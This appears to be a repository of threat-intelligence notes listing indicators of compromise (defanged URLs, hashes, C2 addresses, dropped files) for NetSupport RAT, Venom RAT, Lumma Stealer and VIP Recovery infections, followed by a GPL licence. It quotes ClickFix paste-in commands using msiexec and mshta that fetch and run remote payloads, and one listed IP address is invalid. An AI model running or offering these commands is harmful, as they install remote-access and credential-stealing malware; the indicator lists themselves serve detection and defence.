SmartApeSG script injected into the compromised site leads directly to the JavaScript URL for the fake CAPTCHA page. 6 | - Other times, the injected script has a URL that redirects to the JavaScript URL for the fake CAPTCHA page. 7 | 8 | FROM COMPROMISED SITE TO SCRIPT FOR FAKE CAPTCHA PAGE EXAMPLE 1 (DIRECT): 9 | 10 | - hxxps[:]//mexicobusiness[.]news/ 11 | - hxxps[:]//clouwave[.]net/ajax/pixi.min.js 12 | 13 | FROM COMPROMISED SITE TO SCRIPT FOR FAKE CAPTCHA PAGE EXAMPLE 2 (WITH REDIRECT): 14 | 15 | - hxxps[:]//myvocabulary[.]com/ 16 | - hxxps[:]//myevmanual[.]com/d.js <-- 302 found for next URL 17 | - hxxps[:]//clouwave[.]net/ajax/pixi.min.js 18 | 19 | EXAMPLE OF CLIPBOARD INJECTED SCRIPT FOR CLICKFIX STYLE INSTRUCTIONS: 20 | 21 | msiexec /i hxxps[:]//wwwjsnode[.]net/res/denynapkin /qn 251f6cb3=5856bc11_77af06a9*76617c2e_28f28c59_e7760cb0%d0dcb29d+f9a857a8 22 | 23 | RUNNING CLIPBOARD-INJECTED CLICKFIX SCRIPT: 24 | 25 | - hxxps[:]//wwwjsnode[.]net/res/denynapkin <-- returned MSI file 26 | - hxxps[:]//wwwjsnode[.]net/vapor.o 27 | - hxxps[:]//wwwjsnode[.]net/assets/img/9952e53658b97e85.txt 28 | 29 | EXAMPLE OF MSI FILE FOR NETSUPPORT RAT RETRIEVED BY CLICKFIX SCRIPT: 30 | 31 | - SHA256 hash: 22a24ba1ab35914f9d6b70b3480c77e3f2c3fe32f3c84887dcbfe5faf054fc7a 32 | - File size: 17,657,856 bytes 33 | - Retreived from: hxxps[:]//wwwjsnode[.]net/res/denynapkin 34 | 35 | IP ADDRESS AND PORT NETSUPPORT RAT C2 TRAFFIC: 36 | 37 | - 194.37.97[.]139:443 <-- Unencrypted HTTP traffic with encrypted/encoded content 38 | 39 | NETSUPPORT RAT FILES ON AN INFECTED HOST: 40 | 41 | - C:\ProgramData\NT\atmfd.dll 42 | - C:\ProgramData\NT\client32.ini 43 | - C:\ProgramData\NT\client32u.ini 44 | - C:\ProgramData\NT\HTCTL32.DLL 45 | - C:\ProgramData\NT\msvcr100.dll 46 | - C:\ProgramData\NT\nskbfltr.inf 47 | - C:\ProgramData\NT\nsm_vpro.ini 48 | - C:\ProgramData\NT\NSM.ini 49 | - C:\ProgramData\NT\NSM.LIC 50 | - C:\ProgramData\NT\ntcache.exe 51 | - C:\ProgramData\NT\pcicapi.dll 52 | - C:\ProgramData\NT\PCICHEK.DLL 53 | - C:\ProgramData\NT\PCICL32.DLL 54 | - C:\ProgramData\NT\remcmdstub.exe 55 | - C:\ProgramData\NT\TCCTL32.DLL -------------------------------------------------------------------------------- /2025-02-25-IOCs-for-Venom-RAT-activity.txt: -------------------------------------------------------------------------------- 1 | 2025-02-25 (TUESDAY): VENOM RAT ACTIVITY 2 | 3 | INFECTION CHAIN: 4 | 5 | - email --> attached zip --> extracted .vhd file --> contains .vbs file --> double-click for Venom RAT infection 6 | 7 | EMAIL INFORMATION: 8 | 9 | - Received: from mm2ng[.]cam (mm2ng[.]cam [84.54.51[.]173]) by [info removed]; 10 | Tue, 25 Feb 2025 11:32:57 +0100 (CET) 11 | - From: =?UTF-8?Q?mikael_jansson_=3Cmikael=E2=93=90mrtuning=2Ese=3E?= 12 | 13 | - To: undisclosed-recipients:; 14 | - Subject: MrTUNNING AB / PO-TS006630009 15 | - Message-ID: <1ccdced054e3b14970017a5ccb07fe68@mm2ng[.]cam> 16 | - Attachment name: PO-TS006630009-MRTUNNING.zip 17 | 18 | EMAIL ATTACHMENT: 19 | 20 | - SHA256 hash: 4576ade63d6ef9e10947afe22b67fc5736e5e2105348506bc319d6dd2a111657 21 | - File size: 216,797 bytes 22 | - File name: PO-TS006630009-MRTUNNING.zip 23 | - File Type: Zip archive data, at least v2.0 to extract 24 | 25 | EXTRACTED VIRTUAL HARD DISK (.VHD) FILE: 26 | 27 | - SHA256 hash: 4ba8c6423baebb9f4b7477ad18b7620e57c7e6c48467e91a31273cb2c119676d 28 | - File size: 9,437,696 bytes 29 | - File name: PO-TS006630009-MRTUNNING.vhd 30 | - File Type: DOS/MBR boot sector; partition 1 : ID=0x7, start-CHS (0x0,2,3), end-CHS (0x0,229,37), startsector 128, 14336 sectors, extended partition table (last) 31 | 32 | VISUAL BASIC SCRIPT (.VBS) FILE FROM THE ABOVE VHD FILE: 33 | 34 | - SHA256 hash: 63c3aae8844fd125a8c5251bd7b03b9e7554fb06ee06fa7c46c7ec766233ac0b 35 | - File size: 99,111 bytes 36 | - File name: PO-TS006630009-MRTUNNING.vbs 37 | - File Type: ASCII text, with CRLF line terminators 38 | 39 | INFECTION TRAFFIC: 40 | 41 | - hxxps[:]//pastebin[.]com/raw/93hjERwM <-- returned IP address and TCP port for C2 server 42 | - 193.187.91[.]281:55016 <-- C2 traffic, HTTPS TLSv1.0 43 | 44 | C2 SERVER HTTPS CERTIFICATE ISSUER INFORMATION: 45 | 46 | - at-at-commonName=VenomRAT Server 47 | - at-at-organizationalUnitName=qwqdanchun 48 | - at-at-organizationName=VenomRAT by qwqdanchun 49 | - at-at-localityName=SH 50 | - at-at-CountryName=CN 51 | 52 | C2 SERVER HTTPS CERTIFICATE VALIDITY INFORMATION: 53 | 54 | - notBefore: utcTime: 2022-08-14 09:41:09 (UTC) 55 | - notAfter: utcTime: 2033-05-23 09:41:09 (UTC) 56 | -------------------------------------------------------------------------------- /2025-02-05-ClearFake-or-ClickFix-fake-CAPTCHA-for-possible-Vidar.txt: -------------------------------------------------------------------------------- 1 | 2025-02-05 (THURSDAY): CLEARFAKE/CLICKFIX FAKE CAPTCHA LEADS TO POSSIBLE VIDAR 2 | 3 | NOTE: 4 | 5 | - The C2 for this infection has been identified as Lumma Stealer instead of Vidar: https://threatfox.abuse.ch/ioc/1405142/ 6 | 7 | REFERENCES: 8 | 9 | - https://www.linkedin.com/posts/bradley-duncan-13477868_clearfake-clickfix-vidar-activity-7293070852906958848-QKyU/ 10 | - https://bsky.app/profile/malware-traffic-analysis.net/post/3lhhvbscqmk2l 11 | - https://infosec.exchange/@malware_traffic/113954217780980519 12 | - https://x.com/malware_traffic/status/1887305751636414713 13 | 14 | COMPROMISED WEBSITE: 15 | 16 | - www.705arcade[.]ca 17 | 18 | INDICATOR FOR FAKE CAPTCHA TRAFFIC: 19 | 20 | - data-seed-prebsc-1-s1.bnbchain[.]org:8545 21 | 22 | EXAMPLE OF COPY/PASTE COMMAND FROM FAKE CAPTCHA INSTRUCTIONS: 23 | 24 | mshta hxxps[:]//check.djtvx[.]online/gkcxv.google?u=2e631b21-27da-4534-82b2-bc424dd0abc7 # ✅ ''I am not a robot - CAPTCHA Verification ID: 7651'' 25 | 26 | TRAFFIC GENERATED AFTGER RUNNING THE COPY/PASTED SCRIPT: 27 | 28 | - hxxps[:]//check.djtvx[.]online/gkcxv.google?u=2e631b21-27da-4534-82b2-bc424dd0abc7 --> 302 redirect 29 | - hxxps[:]//u1.galvanizegestationludicrous[.]shop/sh.mp4 30 | - hxxps[:]//bitlunch.smogturfprance[.]shop/e7f2-4033-awjxs.captcha 31 | - hxxps[:]//www.mediafire[.]com/file_premium/pzse74za05xo46l/nrjjpi.mp4/file 32 | 33 | HTTPS POST-INFECTION TRAFFIC: 34 | 35 | - [Cloudflare IP address]:443 - eteherealpath[.]top - HTTPS, TLSv1.3 traffic 36 | 37 | ASSOCIATED FILES: 38 | 39 | - SHA256 hash: 1c8860b24267cf5ed4bb21db453bc3288c4e9339eeb5d85500847fe2e4dffd73 40 | - File size: 1,436,680 bytes 41 | - File type: data 42 | - File location: hxxps[:]//u1.galvanizegestationludicrous[.]shop/sh.mp4 43 | - File description: File run by mshta.exe for this infection chain that generates PowerShell command 44 | 45 | - SHA256 hash: aeb961f463c0c6a71ca565eedd5586689bbfc4c701d51bb283b6637455df118a 46 | - File size: 4,268,345 bytes 47 | - File type: ASCII text, with very long lines, with CRLF line terminators 48 | - File location: hxxps[:]//bitlunch.smogturfprance[.]shop/e7f2-4033-awjxs.captcha 49 | - File description: File retrieved by PowerShell command 50 | 51 | - SHA256 hash: cd002e23393562cdca1c768938a5b83a21c81759a90616821001815a55dc90c0 52 | - File size: 1,196,032 bytes 53 | - File type: data 54 | - File location: hxxps[:]//www.mediafire[.]com/file_premium/pzse74za05xo46l/nrjjpi.mp4/file 55 | - File description: Encoded/encrypted binary for final malware 56 | -------------------------------------------------------------------------------- /2025-08-01-Lumma-Stealer-notes.txt: -------------------------------------------------------------------------------- 1 | 2025-08-01 (FRIDAY): LUMMA STEALER 2 | 3 | NOTES: 4 | 5 | - This is Lumma Stealer distributed for victims looking for cracked versions of popular software. 6 | 7 | PATH TO INITIAL ZIP DOWNLOAD: 8 | 9 | - hxxps[:]//www.facebook[.]com/media/set/?set=a.10160850213333950 10 | - hxxps[:]//t[.]co/kMHRg3Bo2L 11 | - hxxps[:]//vittuv[.]com/2wDtEn 12 | - hxxps[:]//media.file3host435[.]xyz/amcap+9.20+full+version+free+download.zip 13 | 14 | 15 | ASSOCIATED FILES: 16 | 17 | - SHA256 hash: cd5493ed26881583ade59c526ec39478cbd131eb72b65df2ddaa4b4c88e79ecb 18 | - File size: 17,382,195 bytes 19 | - File name: amcap 9.20 full version free download.7z 20 | - File type: 7-zip archive data, version 0.4 21 | - File description: password-protected 7-zip archive 22 | - Password: 3318 23 | 24 | - SHA256 hash: 0c2b69a75cdc374071e9b91d358c96a537694a256b6fae49f30bf0fcaa1165ac 25 | - File size: 937,598,919 bytes 26 | - File name: amcap 9.20 full version free download.exe 27 | - File type: PE32 executable (GUI) Intel 80386, for MS Windows 28 | - File description: inflated EXE to install Lumma Stealer (padded with null-bytes) 29 | 30 | - SHA256 hash: 22be5a360e9870d0a77d990d5f92d8fb43eb7fdb75853d6bc1c60c467050ba77 31 | - File size: 31,631,415 bytes 32 | - File type: PE32 executable (GUI) Intel 80386, for MS Windows 33 | - File description: above EXE with most of the null-byte padding removed 34 | - Sandbox analysis: https://tria.ge/250802-axf2cahp6w/behavioral1 35 | 36 | - SHA256 hash: 3ec9740bedc683021cc3e94e4a33b3a9d3d6f9b9e96b1f04cc6534f551dd58c1 37 | - File size: 980,064 bytes 38 | - File location: C:\Users\[username]\AppData\Local\Temp\528184\Raised.pif 39 | - File type: PE32 executable (GUI) Intel 80386, for MS Windows 40 | - File description: Copy of AutoIt3.exe created by the Lumma Stealer installer 41 | 42 | - SHA256 hash: 444b803b1a8e1ca836191d87736f9af73171f5e5b5370e9e07587acb05ee8064 43 | - File size: 534,204 bytes 44 | - File type: data 45 | - File description: Data binary created by Lumma Stealer installer and run by copy of AutoIt3.exe as .a3x file 46 | - Sandbox analysis: https://app.any.run/tasks/bb9ce34a-e9e1-46b0-bdb8-ead35cca7cae 47 | 48 | LUMMA STEALER C2 FOR THIS EXAMPLE (FROM TRIA.GE ANALYSIS): 49 | 50 | - hxxps[:]//egomdbj[.]asia/zkjr/api 51 | - hxxps[:]//mastwin[.]in/qsaz/api 52 | - hxxps[:]//precisionbiomeds[.]com/ikg 53 | - hxxps[:]//physicianusepeptides[.]com/opu 54 | - hxxps[:]//vishneviyjazz[.]ru/neco/api 55 | - hxxps[:]//htsfhtdrjbyy1bgxbv[.]cfd/vcd 56 | - hxxps[:]//xurekodip[.]com/qpdl 57 | - hxxps[:]//utvp1[.]net/zkaj 58 | - hxxps[:]//orienderi[.]com/xori 59 | -------------------------------------------------------------------------------- /2025-02-12-VIP-recovery-infection.txt: -------------------------------------------------------------------------------- 1 | 2025-02-12 (WEDNESDAY): VIP RECOVERY INFECTION 2 | 3 | REFERENCES: 4 | 5 | - https://www.linkedin.com/posts/bradley-duncan-13477868_vipabrrecovery-agenttesla-malspam-activity-7295498351842578432-vnX8/ 6 | - https://infosec.exchange/@malware_traffic/113992142172691613 7 | - https://bsky.app/profile/malware-traffic-analysis.net/post/3lhypqd3trc2j 8 | - https://x.com/malware_traffic/status/1889731681197646128 9 | 10 | NOTES: 11 | 12 | - VIP Recovery is a Snake KeyLogger variant, and Snake KeyLogger seems to be an AgentTesla variant 13 | 14 | MALWARE DISTRIBUTION CHAIN: 15 | 16 | - Email --> zip attachment --> Extracted EXE (VIP Recovery malware) 17 | 18 | EMAIL HEADERS: 19 | 20 | - Received: from mta1.fareaz[.]sa[.]com (server.fareaz[.]sa[.]com [194.5.97[.]132]) [info removed]; Wed, 12 Feb 2025 09:45:41 +0000 (UTC) 21 | - Date: Wed, 12 Feb 2025 10:45:38 +0100 22 | - From: Cristina Insuaaa 23 | - Subject: FACTURA GASTOS 24 | - Message-ID: <870204b5f9faa1883a29ba05c00d0ddd@fareaz[.]sa[.]com> 25 | - Attachment name: Factura Gastos.zip 26 | 27 | ASSOCIATED FILES: 28 | 29 | - SHA256 hash: b20c8a4f7d5a41897624c483689a01f9b7abf9ba95da6ef459baff73aa34df80 30 | - File size: 1,206,714 bytes 31 | - File name: Factura Gastos.zip 32 | - File type: Zip archive data, at least v2.0 to extract 33 | - File description: Email attachment for VIP Recovery 34 | 35 | - SHA256 hash: c7620ccaf9c2d47ba08cf85e65e55ea974f8887e18d96574a1aa63f09e836451 36 | - File size: 1,389,056 bytes 37 | - File name: Factura Gastos.exe 38 | - File type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows 39 | - File description: Malware for VIP Recovery extracted from the above zip archive 40 | 41 | INFECTION TRAFFIC: 42 | 43 | Date/Time IP address Port Domain Info 44 | ----------------------- -------------- ---- --------------------- ------------------------ 45 | - 2025-02-12 16:04:23 UTC 80 checkip.dyndns[.]org GET / HTTP/1.1 46 | - 2025-02-12 16:04:24 UTC 80 checkip.dyndns[.]org GET / HTTP/1.1 47 | - 2025-02-12 16:04:24 UTC 443 reallyfreegeoip[.]org HTTPS traffic 48 | - 2025-02-12 16:04:24 UTC 80 checkip.dyndns[.]org GET / HTTP/1.1 49 | - 2025-02-12 16:04:24 UTC 80 checkip.dyndns[.]org GET / HTTP/1.1 50 | - 2025-02-12 16:04:25 UTC 80 checkip.dyndns[.]org GET / HTTP/1.1 51 | - 2025-02-12 16:04:25 UTC 80 checkip.dyndns[.]org GET / HTTP/1.1 52 | - 2025-02-12 16:04:25 UTC 80 checkip.dyndns[.]org GET / HTTP/1.1 53 | - 2025-02-12 16:04:25 UTC 80 checkip.dyndns[.]org GET / HTTP/1.1 54 | - 2025-02-12 16:04:25 UTC 80 checkip.dyndns[.]org GET / HTTP/1.1 55 | - 2025-02-12 16:04:26 UTC 80 checkip.dyndns[.]org GET / HTTP/1.1 56 | - 2025-02-12 16:04:26 UTC 443 api.telegram[.]org HTTPS traffic 57 | - 2025-02-12 16:04:46 UTC 185.5.236[.]65 587 mail.grupobdb[.]com Unencrypted SMTP traffic 58 | - 2025-02-12 16:04:51 UTC 185.5.236[.]65 587 mail.grupobdb[.]com Unencrypted SMTP traffic 59 | 60 | - Email account sending the stolen data: antonipont@grupobdb[.]com 61 | - Email account receiving the stolen data: cludsewe3@gmail[.]com 62 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. 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EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | --------------------------------------------------------------------------------